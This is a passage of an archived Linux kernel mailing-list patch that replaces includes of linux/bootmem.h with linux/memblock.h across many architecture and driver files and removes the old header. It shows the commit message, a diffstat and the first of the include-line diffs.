 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4366 gmane.linux.kernel.mm:203339 gmane.linux.ports.mips.general:66641 gmane.linux.ports.ia64:29236 gmane.linux.ports.sh.devel:57512 gmane.linux.ports.sparc:28424 gmane.linux.ports.hexagon:1853 gmane.linux.ports.riscv:803 gmane.linux.ports.alpha:5242 gmane.linux.ports.arm.kernel:674212 gmane.linux.ports.parisc:28964 gmane.linux.kernel:2870785 gmane.linux.ports.ppc64.devel:162499
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4366>

Move remaining definitions and declarations from include/linux/bootmem.h
into include/linux/memblock.h and remove the redundant header.

The includes were replaced with the semantic patch below and then
semi-automated removal of duplicated '#include <linux/memblock.h>

@@
@@
- #include <linux/bootmem.h>
+ #include <linux/memblock.h>

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 arch/alpha/kernel/core_cia.c                |   2 +-
 arch/alpha/kernel/core_irongate.c           |   1 -
 arch/alpha/kernel/core_marvel.c             |   2 +-
 arch/alpha/kernel/core_titan.c              |   2 +-
 arch/alpha/kernel/core_tsunami.c            |   2 +-
 arch/alpha/kernel/pci-noop.c                |   2 +-
 arch/alpha/kernel/pci.c                     |   2 +-
 arch/alpha/kernel/pci_iommu.c               |   2 +-
 arch/alpha/kernel/setup.c                   |   1 -
 arch/alpha/kernel/sys_nautilus.c            |   2 +-
 arch/alpha/mm/init.c                        |   2 +-
 arch/alpha/mm/numa.c                        |   1 -
 arch/arc/kernel/unwind.c                    |   2 +-
 arch/arc/mm/highmem.c                       |   2 +-
 arch/arc/mm/init.c                          |   1 -
 arch/arm/kernel/devtree.c                   |   1 -
 arch/arm/kernel/setup.c                     |   1 -
 arch/arm/mach-omap2/omap_hwmod.c            |   2 +-
 arch/arm/mm/dma-mapping.c                   |   1 -
 arch/arm/mm/init.c                          |   1 -
 arch/arm/xen/mm.c                           |   1 -
 arch/arm/xen/p2m.c                          |   2 +-
 arch/arm64/kernel/acpi.c                    |   1 -
 arch/arm64/kernel/acpi_numa.c               |   1 -
 arch/arm64/kernel/setup.c                   |   1 -
 arch/arm64/mm/dma-mapping.c                 |   2 +-
 arch/arm64/mm/init.c                        |   1 -
 arch/arm64/mm/kasan_init.c                  |   1 -
 arch/arm64/mm/numa.c                        |   1 -
 arch/c6x/kernel/setup.c                     |   1 -
 arch/c6x/mm/init.c                          |   2 +-
 arch/h8300/kernel/setup.c                   |   1 -
 arch/h8300/mm/init.c                        |   2 +-
 arch/hexagon/kernel/dma.c                   |   2 +-
 arch/hexagon/kernel/setup.c                 |   2 +-
 arch/hexagon/mm/init.c                      |   1 -
 arch/ia64/kernel/crash.c                    |   2 +-
 arch/ia64/kernel/efi.c                      |   2 +-
 arch/ia64/kernel/ia64_ksyms.c               |   2 +-
 arch/ia64/kernel/iosapic.c                  |   2 +-
 arch/ia64/kernel/mca.c                      |   2 +-
 arch/ia64/kernel/mca_drv.c                  |   2 +-
 arch/ia64/kernel/setup.c                    |   1 -
 arch/ia64/kernel/smpboot.c                  |   2 +-
 arch/ia64/kernel/topology.c                 |   2 +-
 arch/ia64/kernel/unwind.c                   |   2 +-
 arch/ia64/mm/contig.c                       |   1 -
 arch/ia64/mm/discontig.c                    |   1 -
 arch/ia64/mm/init.c                         |   1 -
 arch/ia64/mm/numa.c                         |   2 +-
 arch/ia64/mm/tlb.c                          |   2 +-
 arch/ia64/pci/pci.c                         |   2 +-
 arch/ia64/sn/kernel/bte.c                   |   2 +-
 arch/ia64/sn/kernel/io_common.c             |   2 +-
 arch/ia64/sn/kernel/setup.c                 |   2 +-
 arch/m68k/atari/stram.c                     |   2 +-
 arch/m68k/coldfire/m54xx.c                  |   2 +-
 arch/m68k/kernel/setup_mm.c                 |   1 -
 arch/m68k/kernel/setup_no.c                 |   1 -
 arch/m68k/kernel/uboot.c                    |   2 +-
 arch/m68k/mm/init.c                         |   2 +-
 arch/m68k/mm/mcfmmu.c                       |   1 -
 arch/m68k/mm/motorola.c                     |   1 -
 arch/m68k/mm/sun3mmu.c                      |   2 +-
 arch/m68k/sun3/config.c                     |   2 +-
 arch/m68k/sun3/dvma.c                       |   2 +-
 arch/m68k/sun3/mmu_emu.c                    |   2 +-
 arch/m68k/sun3/sun3dvma.c                   |   2 +-
 arch/m68k/sun3x/dvma.c                      |   2 +-
 arch/microblaze/mm/consistent.c             |   2 +-
 arch/microblaze/mm/init.c                   |   3 +-
 arch/microblaze/pci/pci-common.c            |   2 +-
 arch/mips/ar7/memory.c                      |   2 +-
 arch/mips/ath79/setup.c                     |   2 +-
 arch/mips/bcm63xx/prom.c                    |   2 +-
 arch/mips/bcm63xx/setup.c                   |   2 +-
 arch/mips/bmips/setup.c                     |   2 +-
 arch/mips/cavium-octeon/dma-octeon.c        |   2 +-
 arch/mips/dec/prom/memory.c                 |   2 +-
 arch/mips/emma/common/prom.c                |   2 +-
 arch/mips/fw/arc/memory.c                   |   2 +-
 arch/mips/jazz/jazzdma.c                    |   2 +-
 arch/mips/kernel/crash.c                    |   2 +-
 arch/mips/kernel/crash_dump.c               |   2 +-
 arch/mips/kernel/prom.c                     |   2 +-
 arch/mips/kernel/setup.c                    |   1 -
 arch/mips/kernel/traps.c                    |   1 -
 arch/mips/kernel/vpe.c                      |   2 +-
 arch/mips/kvm/commpage.c                    |   2 +-
 arch/mips/kvm/dyntrans.c                    |   2 +-
 arch/mips/kvm/emulate.c                     |   2 +-
 arch/mips/kvm/interrupt.c                   |   2 +-
 arch/mips/kvm/mips.c                        |   2 +-
 arch/mips/lantiq/prom.c                     |   2 +-
 arch/mips/lasat/prom.c                      |   2 +-
 arch/mips/loongson64/common/init.c          |   2 +-
 arch/mips/loongson64/loongson-3/numa.c      |   1 -
 arch/mips/mm/init.c                         |   2 +-
 arch/mips/mm/pgtable-32.c                   |   2 +-
 arch/mips/mti-malta/malta-memory.c          |   2 +-
 arch/mips/netlogic/xlp/dt.c                 |   2 +-
 arch/mips/pci/pci-legacy.c                  |   2 +-
 arch/mips/pci/pci.c                         |   2 +-
 arch/mips/ralink/of.c                       |   2 +-
 arch/mips/rb532/prom.c                      |   2 +-
 arch/mips/sgi-ip27/ip27-memory.c            |   1 -
 arch/mips/sibyte/common/cfe.c               |   2 +-
 arch/mips/sibyte/swarm/setup.c              |   2 +-
 arch/mips/txx9/rbtx4938/prom.c              |   2 +-
 arch/nds32/kernel/setup.c                   |   3 +-
 arch/nds32/mm/highmem.c                     |   2 +-
 arch/nds32/mm/init.c                        |   3 +-
 arch/nios2/kernel/prom.c                    |   2 +-
 arch/nios2/kernel/setup.c                   |   1 -
 arch/nios2/mm/init.c                        |   2 +-
 arch/openrisc/kernel/setup.c                |   3 +-
 arch/openrisc/mm/init.c                     |   3 +-
 arch/parisc/mm/init.c                       |   1 -
 arch/powerpc/kernel/pci_32.c                |   2 +-
 arch/powerpc/kernel/setup_64.c              |   3 +-
 arch/powerpc/lib/alloc.c                    |   2 +-
 arch/powerpc/mm/hugetlbpage.c               |   1 -
 arch/powerpc/mm/mem.c                       |   3 +-
 arch/powerpc/mm/mmu_context_nohash.c        |   2 +-
 arch/powerpc/mm/numa.c                      |   3 +-
 arch/powerpc/platforms/powermac/nvram.c     |   2 +-
 arch/powerpc/platforms/powernv/pci-ioda.c   |   3 +-
 arch/powerpc/platforms/ps3/setup.c          |   2 +-
 arch/powerpc/sysdev/msi_bitmap.c            |   2 +-
 arch/riscv/mm/init.c                        |   3 +-
 arch/s390/kernel/crash_dump.c               |   3 +-
 arch/s390/kernel/setup.c                    |   1 -
 arch/s390/kernel/smp.c                      |   3 +-
 arch/s390/kernel/topology.c                 |   2 +-
 arch/s390/kernel/vdso.c                     |   2 +-
 arch/s390/mm/extmem.c                       |   2 +-
 arch/s390/mm/init.c                         |   3 +-
 arch/s390/mm/vmem.c                         |   3 +-
 arch/s390/numa/mode_emu.c                   |   1 -
 arch/s390/numa/numa.c                       |   1 -
 arch/s390/numa/toptree.c                    |   2 +-
 arch/sh/mm/init.c                           |   3 +-
 arch/sh/mm/ioremap_fixed.c                  |   2 +-
 arch/sparc/kernel/mdesc.c                   |   2 -
 arch/sparc/kernel/prom_32.c                 |   2 +-
 arch/sparc/kernel/setup_64.c                |   2 +-
 arch/sparc/kernel/smp_64.c                  |   2 +-
 arch/sparc/mm/init_32.c                     |   1 -
 arch/sparc/mm/init_64.c                     |   3 +-
 arch/sparc/mm/srmmu.c                       |   2 +-
 arch/um/drivers/net_kern.c                  |   2 +-
 arch/um/drivers/vector_kern.c               |   2 +-
 arch/um/kernel/initrd.c                     |   2 +-
 arch/um/kernel/mem.c                        |   1 -
 arch/um/kernel/physmem.c                    |   1 -
 arch/unicore32/kernel/hibernate.c           |   2 +-
 arch/unicore32/kernel/setup.c               |   3 +-
 arch/unicore32/mm/init.c                    |   3 +-
 arch/unicore32/mm/mmu.c                     |   1 -
 arch/x86/kernel/acpi/boot.c                 |   2 +-
 arch/x86/kernel/acpi/sleep.c                |   1 -
 arch/x86/kernel/apic/apic.c                 |   2 +-
 arch/x86/kernel/apic/io_apic.c              |   2 +-
 arch/x86/kernel/cpu/common.c                |   2 +-
 arch/x86/kernel/e820.c                      |   3 +-
 arch/x86/kernel/mpparse.c                   |   1 -
 arch/x86/kernel/pci-dma.c                   |   2 +-
 arch/x86/kernel/pci-swiotlb.c               |   2 +-
 arch/x86/kernel/pvclock.c                   |   2 +-
 arch/x86/kernel/setup.c                     |   1 -
 arch/x86/kernel/setup_percpu.c              |   1 -
 arch/x86/kernel/smpboot.c                   |   2 +-
 arch/x86/kernel/tce_64.c                    |   1 -
 arch/x86/mm/amdtopology.c                   |   1 -
 arch/x86/mm/fault.c                         |   2 +-
 arch/x86/mm/highmem_32.c                    |   2 +-
 arch/x86/mm/init.c                          |   1 -
 arch/x86/mm/init_32.c                       |   1 -
 arch/x86/mm/init_64.c                       |   1 -
 arch/x86/mm/ioremap.c                       |   2 +-
 arch/x86/mm/kasan_init_64.c                 |   3 +-
 arch/x86/mm/numa.c                          |   1 -
 arch/x86/mm/numa_32.c                       |   1 -
 arch/x86/mm/numa_64.c                       |   2 +-
 arch/x86/mm/numa_emulation.c                |   1 -
 arch/x86/mm/pageattr-test.c                 |   2 +-
 arch/x86/mm/pageattr.c                      |   2 +-
 arch/x86/mm/pat.c                           |   2 +-
 arch/x86/mm/physaddr.c                      |   2 +-
 arch/x86/pci/i386.c                         |   2 +-
 arch/x86/platform/efi/efi.c                 |   3 +-
 arch/x86/platform/efi/efi_64.c              |   2 +-
 arch/x86/platform/efi/quirks.c              |   1 -
 arch/x86/platform/olpc/olpc_dt.c            |   2 +-
 arch/x86/power/hibernate_32.c               |   2 +-
 arch/x86/xen/enlighten.c                    |   2 +-
 arch/x86/xen/enlighten_pv.c                 |   3 +-
 arch/x86/xen/p2m.c                          |   1 -
 arch/xtensa/kernel/pci.c                    |   2 +-
 arch/xtensa/mm/cache.c                      |   2 +-
 arch/xtensa/mm/init.c                       |   2 +-
 arch/xtensa/mm/kasan_init.c                 |   3 +-
 arch/xtensa/mm/mmu.c                        |   2 +-
 arch/xtensa/platforms/iss/network.c         |   2 +-
 arch/xtensa/platforms/iss/setup.c           |   2 +-
 block/blk-settings.c                        |   2 +-
 block/bounce.c                              |   2 +-
 drivers/acpi/numa.c                         |   1 -
 drivers/acpi/tables.c                       |   3 +-
 drivers/base/platform.c                     |   2 +-
 drivers/clk/ti/clk.c                        |   2 +-
 drivers/firmware/dmi_scan.c                 |   2 +-
 drivers/firmware/efi/apple-properties.c     |   2 +-
 drivers/firmware/iscsi_ibft_find.c          |   2 +-
 drivers/firmware/memmap.c                   |   2 +-
 drivers/iommu/mtk_iommu.c                   |   2 +-
 drivers/iommu/mtk_iommu_v1.c                |   2 +-
 drivers/macintosh/smu.c                     |   3 +-
 drivers/mtd/ar7part.c                       |   2 +-
 drivers/net/arcnet/arc-rimi.c               |   2 +-
 drivers/net/arcnet/com20020-isa.c           |   2 +-
 drivers/net/arcnet/com90io.c                |   2 +-
 drivers/of/fdt.c                            |   1 -
 drivers/of/unittest.c                       |   2 +-
 drivers/s390/char/fs3270.c                  |   2 +-
 drivers/s390/char/tty3270.c                 |   2 +-
 drivers/s390/cio/cmf.c                      |   2 +-
 drivers/s390/virtio/virtio_ccw.c            |   2 +-
 drivers/sfi/sfi_core.c                      |   2 +-
 drivers/tty/serial/cpm_uart/cpm_uart_core.c |   2 +-
 drivers/tty/serial/cpm_uart/cpm_uart_cpm1.c |   2 +-
 drivers/tty/serial/cpm_uart/cpm_uart_cpm2.c |   2 +-
 drivers/usb/early/xhci-dbc.c                |   1 -
 drivers/xen/balloon.c                       |   2 +-
 drivers/xen/events/events_base.c            |   2 +-
 drivers/xen/grant-table.c                   |   2 +-
 drivers/xen/swiotlb-xen.c                   |   1 -
 drivers/xen/xen-selfballoon.c               |   2 +-
 fs/dcache.c                                 |   2 +-
 fs/inode.c                                  |   2 +-
 fs/namespace.c                              |   2 +-
 fs/proc/kcore.c                             |   2 +-
 fs/proc/page.c                              |   2 +-
 fs/proc/vmcore.c                            |   2 +-
 include/linux/bootmem.h                     | 173 ----------------------------
 include/linux/memblock.h                    | 151 +++++++++++++++++++++++-
 init/main.c                                 |   2 +-
 kernel/dma/swiotlb.c                        |   2 +-
 kernel/futex.c                              |   2 +-
 kernel/locking/qspinlock_paravirt.h         |   2 +-
 kernel/pid.c                                |   2 +-
 kernel/power/snapshot.c                     |   2 +-
 kernel/printk/printk.c                      |   1 -
 kernel/profile.c                            |   2 +-
 lib/cpumask.c                               |   2 +-
 mm/hugetlb.c                                |   1 -
 mm/kasan/kasan_init.c                       |   3 +-
 mm/kmemleak.c                               |   2 +-
 mm/memblock.c                               |   1 -
 mm/memory_hotplug.c                         |   1 -
 mm/page_alloc.c                             |   1 -
 mm/page_ext.c                               |   2 +-
 mm/page_idle.c                              |   2 +-
 mm/page_owner.c                             |   2 +-
 mm/percpu.c                                 |   2 +-
 mm/sparse-vmemmap.c                         |   1 -
 mm/sparse.c                                 |   1 -
 net/ipv4/inet_hashtables.c                  |   2 +-
 net/ipv4/tcp.c                              |   2 +-
 net/ipv4/udp.c                              |   2 +-
 net/sctp/protocol.c                         |   2 +-
 net/xfrm/xfrm_hash.c                        |   2 +-
 272 files changed, 351 insertions(+), 474 deletions(-)
 delete mode 100644 include/linux/bootmem.h

diff --git a/arch/alpha/kernel/core_cia.c b/arch/alpha/kernel/core_cia.c
index 026ee95..867e873 100644
--- a/arch/alpha/kernel/core_cia.c
+++ b/arch/alpha/kernel/core_cia.c
@@ -21,7 +21,7 @@
 #include <linux/pci.h>
 #include <linux/sched.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/ptrace.h>
 #include <asm/mce.h>
diff --git a/arch/alpha/kernel/core_irongate.c b/arch/alpha/kernel/core_irongate.c
index 35572be..a9fd133 100644
--- a/arch/alpha/kernel/core_irongate.c
+++ b/arch/alpha/kernel/core_irongate.c
@@ -20,7 +20,6 @@
 #include <linux/sched.h>
 #include <linux/init.h>
 #include <linux/initrd.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 
 #include <asm/ptrace.h>
diff --git a/arch/alpha/kernel/core_marvel.c b/arch/alpha/kernel/core_marvel.c
index 1f00c94..8a568c4 100644
--- a/arch/alpha/kernel/core_marvel.c
+++ b/arch/alpha/kernel/core_marvel.c
@@ -18,7 +18,7 @@
 #include <linux/mc146818rtc.h>
 #include <linux/rtc.h>
 #include <linux/module.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/ptrace.h>
 #include <asm/smp.h>
diff --git a/arch/alpha/kernel/core_titan.c b/arch/alpha/kernel/core_titan.c
index 132b06b..9755159 100644
--- a/arch/alpha/kernel/core_titan.c
+++ b/arch/alpha/kernel/core_titan.c
@@ -16,7 +16,7 @@
 #include <linux/sched.h>
 #include <linux/init.h>
 #include <linux/vmalloc.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/ptrace.h>
 #include <asm/smp.h>
diff --git a/arch/alpha/kernel/core_tsunami.c b/arch/alpha/kernel/core_tsunami.c
index e7c956e..f334b89 100644
--- a/arch/alpha/kernel/core_tsunami.c
+++ b/arch/alpha/kernel/core_tsunami.c
@@ -17,7 +17,7 @@
 #include <linux/pci.h>
 #include <linux/sched.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/ptrace.h>
 #include <asm/smp.h>
diff --git a/arch/alpha/kernel/pci-noop.c b/arch/alpha/kernel/pci-noop.c
index 59cbfc2..a9378ee 100644
--- a/arch/alpha/kernel/pci-noop.c
+++ b/arch/alpha/kernel/pci-noop.c
@@ -7,7 +7,7 @@
 
 #include <linux/pci.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/gfp.h>
 #include <linux/capability.h>
 #include <linux/mm.h>
diff --git a/arch/alpha/kernel/pci.c b/arch/alpha/kernel/pci.c
index 4cc3eb9..13937e7 100644
--- a/arch/alpha/kernel/pci.c
+++ b/arch/alpha/kernel/pci.c
@@ -18,7 +18,7 @@
 #include <linux/init.h>
 #include <linux/ioport.h>
 #include <linux/kernel.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/module.h>
 #include <linux/cache.h>
 #include <linux/slab.h>
diff --git a/arch/alpha/kernel/pci_iommu.c b/arch/alpha/kernel/pci_iommu.c
index 5d178c7..82cf950 100644
--- a/arch/alpha/kernel/pci_iommu.c
+++ b/arch/alpha/kernel/pci_iommu.c
@@ -7,7 +7,7 @@
 #include <linux/mm.h>
 #include <linux/pci.h>
 #include <linux/gfp.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/export.h>
 #include <linux/scatterlist.h>
 #include <linux/log2.h>
diff --git a/arch/alpha/kernel/setup.c b/arch/alpha/kernel/setup.c
index 64c06a0..a37fd99 100644
--- a/arch/alpha/kernel/setup.c
+++ b/arch/alpha/kernel/setup.c
@@ -29,7 +29,6 @@
 #include <linux/string.h>
 #include <linux/ioport.h>
 #include <linux/platform_device.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/pci.h>
 #include <linux/seq_file.h>
diff --git a/arch/alpha/kernel/sys_nautilus.c b/arch/alpha/kernel/sys_nautilus.c
index ff4f54b..cd9a112 100644
--- a/arch/alpha/kernel/sys_nautilus.c
+++ b/arch/alpha/kernel/sys_nautilus.c
@@ -32,7 +32,7 @@
 #include <linux/pci.h>
 #include <linux/init.h>
 #include <linux/reboot.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/bitops.h>
 
 #include <asm/ptrace.h>
diff --git a/arch/alpha/mm/init.c b/arch/alpha/mm/init.c
index 853d153..a42fc5c 100644
--- a/arch/alpha/mm/init.c
+++ b/arch/alpha/mm/init.c
@@ -19,7 +19,7 @@
 #include <linux/mm.h>
 #include <linux/swap.h>
 #include <linux/init.h>
-#include <linux/bootmem.h> /* max_low_pfn */
+#include <linux/memblock.h> /* max_low_pfn */
 #include <linux/vmalloc.h>
 #include <linux/gfp.h>
 
diff --git a/arch/alpha/mm/numa.c b/arch/alpha/mm/numa.c
index 26cd925..74846553 100644
--- a/arch/alpha/mm/numa.c
+++ b/arch/alpha/mm/numa.c
@@ -10,7 +10,6 @@
 #include <linux/types.h>
 #include <linux/kernel.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/swap.h>
 #include <linux/initrd.h>
diff --git a/arch/arc/kernel/unwind.c b/arch/arc/kernel/unwind.c
index 2a01dd1..d34f69e 100644
--- a/arch/arc/kernel/unwind.c
+++ b/arch/arc/kernel/unwind.c
@@ -15,7 +15,7 @@
 
 #include <linux/sched.h>
 #include <linux/module.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/sort.h>
 #include <linux/slab.h>
 #include <linux/stop_machine.h>
diff --git a/arch/arc/mm/highmem.c b/arch/arc/mm/highmem.c
index f582dc8..48e7001 100644
--- a/arch/arc/mm/highmem.c
+++ b/arch/arc/mm/highmem.c
@@ -7,7 +7,7 @@
  *
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/export.h>
 #include <linux/highmem.h>
 #include <asm/processor.h>
diff --git a/arch/arc/mm/init.c b/arch/arc/mm/init.c
index 0f29c65..f8fe566 100644
--- a/arch/arc/mm/init.c
+++ b/arch/arc/mm/init.c
@@ -8,7 +8,6 @@
 
 #include <linux/kernel.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #ifdef CONFIG_BLK_DEV_INITRD
 #include <linux/initrd.h>
diff --git a/arch/arm/kernel/devtree.c b/arch/arm/kernel/devtree.c
index ecaa68d..6f26838 100644
--- a/arch/arm/kernel/devtree.c
+++ b/arch/arm/kernel/devtree.c
@@ -12,7 +12,6 @@
 #include <linux/export.h>
 #include <linux/errno.h>
 #include <linux/types.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/of.h>
 #include <linux/of_fdt.h>
diff --git a/arch/arm/kernel/setup.c b/arch/arm/kernel/setup.c
index 39e6090..840a4ad 100644
--- a/arch/arm/kernel/setup.c
+++ b/arch/arm/kernel/setup.c
@@ -16,7 +16,6 @@
 #include <linux/utsname.h>
 #include <linux/initrd.h>
 #include <linux/console.h>
-#include <linux/bootmem.h>
 #include <linux/seq_file.h>
 #include <linux/screen_info.h>
 #include <linux/of_platform.h>
diff --git a/arch/arm/mach-omap2/omap_hwmod.c b/arch/arm/mach-omap2/omap_hwmod.c
index 1f9b34a..cd5732a 100644
--- a/arch/arm/mach-omap2/omap_hwmod.c
+++ b/arch/arm/mach-omap2/omap_hwmod.c
@@ -141,7 +141,7 @@
 #include <linux/cpu.h>
 #include <linux/of.h>
 #include <linux/of_address.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <linux/platform_data/ti-sysc.h>
 
diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
index 6656647..661fe48 100644
--- a/arch/arm/mm/dma-mapping.c
+++ b/arch/arm/mm/dma-mapping.c
@@ -9,7 +9,6 @@
  *
  *  DMA uncached mapping support.
  */
-#include <linux/bootmem.h>
 #include <linux/module.h>
 #include <linux/mm.h>
 #include <linux/genalloc.h>
diff --git a/arch/arm/mm/init.c b/arch/arm/mm/init.c
index d421a10..32e4845 100644
--- a/arch/arm/mm/init.c
+++ b/arch/arm/mm/init.c
@@ -11,7 +11,6 @@
 #include <linux/errno.h>
 #include <linux/swap.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
 #include <linux/mman.h>
 #include <linux/sched/signal.h>
 #include <linux/sched/task.h>
diff --git a/arch/arm/xen/mm.c b/arch/arm/xen/mm.c
index 785d2a5..cb44aa2 100644
--- a/arch/arm/xen/mm.c
+++ b/arch/arm/xen/mm.c
@@ -1,6 +1,5 @@
 #include <linux/cpu.h>
 #include <linux/dma-mapping.h>
-#include <linux/bootmem.h>
 #include <linux/gfp.h>
 #include <linux/highmem.h>
 #include <linux/export.h>
diff --git a/arch/arm/xen/p2m.c b/arch/arm/xen/p2m.c
index 0641ba5..e70a49f 100644
--- a/arch/arm/xen/p2m.c
+++ b/arch/arm/xen/p2m.c
@@ -1,4 +1,4 @@
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/gfp.h>
 #include <linux/export.h>
 #include <linux/spinlock.h>
diff --git a/arch/arm64/kernel/acpi.c b/arch/arm64/kernel/acpi.c
index ed46dc1..44e3c35 100644
--- a/arch/arm64/kernel/acpi.c
+++ b/arch/arm64/kernel/acpi.c
@@ -16,7 +16,6 @@
 #define pr_fmt(fmt) "ACPI: " fmt
 
 #include <linux/acpi.h>
-#include <linux/bootmem.h>
 #include <linux/cpumask.h>
 #include <linux/efi.h>
 #include <linux/efi-bgrt.h>
diff --git a/arch/arm64/kernel/acpi_numa.c b/arch/arm64/kernel/acpi_numa.c
index 4f4f181..eac1d0c 100644
--- a/arch/arm64/kernel/acpi_numa.c
+++ b/arch/arm64/kernel/acpi_numa.c
@@ -18,7 +18,6 @@
 
 #include <linux/acpi.h>
 #include <linux/bitmap.h>
-#include <linux/bootmem.h>
 #include <linux/kernel.h>
 #include <linux/mm.h>
 #include <linux/memblock.h>
diff --git a/arch/arm64/kernel/setup.c b/arch/arm64/kernel/setup.c
index cf7a7b7..46d48ea 100644
--- a/arch/arm64/kernel/setup.c
+++ b/arch/arm64/kernel/setup.c
@@ -26,7 +26,6 @@
 #include <linux/initrd.h>
 #include <linux/console.h>
 #include <linux/cache.h>
-#include <linux/bootmem.h>
 #include <linux/screen_info.h>
 #include <linux/init.h>
 #include <linux/kexec.h>
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index cdcb73d..1469f96 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -19,7 +19,7 @@
 
 #include <linux/gfp.h>
 #include <linux/acpi.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/cache.h>
 #include <linux/export.h>
 #include <linux/slab.h>
diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
index ae21849..f44ce25 100644
--- a/arch/arm64/mm/init.c
+++ b/arch/arm64/mm/init.c
@@ -22,7 +22,6 @@
 #include <linux/errno.h>
 #include <linux/swap.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
 #include <linux/cache.h>
 #include <linux/mman.h>
 #include <linux/nodemask.h>
diff --git a/arch/arm64/mm/kasan_init.c b/arch/arm64/mm/kasan_init.c
index 2391560..3b868be 100644
--- a/arch/arm64/mm/kasan_init.c
+++ b/arch/arm64/mm/kasan_init.c
@@ -11,7 +11,6 @@
  */
 
 #define pr_fmt(fmt) "kasan: " fmt
-#include <linux/bootmem.h>
 #include <linux/kasan.h>
 #include <linux/kernel.h>
 #include <linux/sched/task.h>
diff --git a/arch/arm64/mm/numa.c b/arch/arm64/mm/numa.c
index 8f2e0e8..db9b512f 100644
--- a/arch/arm64/mm/numa.c
+++ b/arch/arm64/mm/numa.c
@@ -20,7 +20,6 @@
 #define pr_fmt(fmt) "NUMA: " fmt
 
 #include <linux/acpi.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/module.h>
 #include <linux/of.h>
diff --git a/arch/c6x/kernel/setup.c b/arch/c6x/kernel/setup.c
index cc74cb9..811f1c6 100644
--- a/arch/c6x/kernel/setup.c
+++ b/arch/c6x/kernel/setup.c
@@ -11,7 +11,6 @@
 #include <linux/dma-mapping.h>
 #include <linux/memblock.h>
 #include <linux/seq_file.h>
-#include <linux/bootmem.h>
 #include <linux/clkdev.h>
 #include <linux/initrd.h>
 #include <linux/kernel.h>
diff --git a/arch/c6x/mm/init.c b/arch/c6x/mm/init.c
index 3383df8..af5ada0 100644
--- a/arch/c6x/mm/init.c
+++ b/arch/c6x/mm/init.c
@@ -11,7 +11,7 @@
 #include <linux/mm.h>
 #include <linux/swap.h>
 #include <linux/module.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #ifdef CONFIG_BLK_DEV_RAM
 #include <linux/blkdev.h>
 #endif
diff --git a/arch/h8300/kernel/setup.c b/arch/h8300/kernel/setup.c
index 34e2df5..b32bfa1f 100644
--- a/arch/h8300/kernel/setup.c
+++ b/arch/h8300/kernel/setup.c
@@ -18,7 +18,6 @@
 #include <linux/console.h>
 #include <linux/errno.h>
 #include <linux/string.h>
-#include <linux/bootmem.h>
 #include <linux/seq_file.h>
 #include <linux/init.h>
 #include <linux/of.h>
diff --git a/arch/h8300/mm/init.c b/arch/h8300/mm/init.c
index f2bf448..6519252 100644
--- a/arch/h8300/mm/init.c
+++ b/arch/h8300/mm/init.c
@@ -30,7 +30,7 @@
 #include <linux/init.h>
 #include <linux/highmem.h>
 #include <linux/pagemap.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/gfp.h>
 
 #include <asm/setup.h>
diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index ffc4ae8..45a1b42 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -19,7 +19,7 @@
  */
 
 #include <linux/dma-noncoherent.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/genalloc.h>
 #include <linux/module.h>
 #include <asm/page.h>
diff --git a/arch/hexagon/kernel/setup.c b/arch/hexagon/kernel/setup.c
index dc8c7e7..b3c3e04 100644
--- a/arch/hexagon/kernel/setup.c
+++ b/arch/hexagon/kernel/setup.c
@@ -20,7 +20,7 @@
 
 #include <linux/init.h>
 #include <linux/delay.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/mmzone.h>
 #include <linux/mm.h>
 #include <linux/seq_file.h>
diff --git a/arch/hexagon/mm/init.c b/arch/hexagon/mm/init.c
index 88643fa..1719ede 100644
--- a/arch/hexagon/mm/init.c
+++ b/arch/hexagon/mm/init.c
@@ -20,7 +20,6 @@
 
 #include <linux/init.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <asm/atomic.h>
 #include <linux/highmem.h>
diff --git a/arch/ia64/kernel/crash.c b/arch/ia64/kernel/crash.c
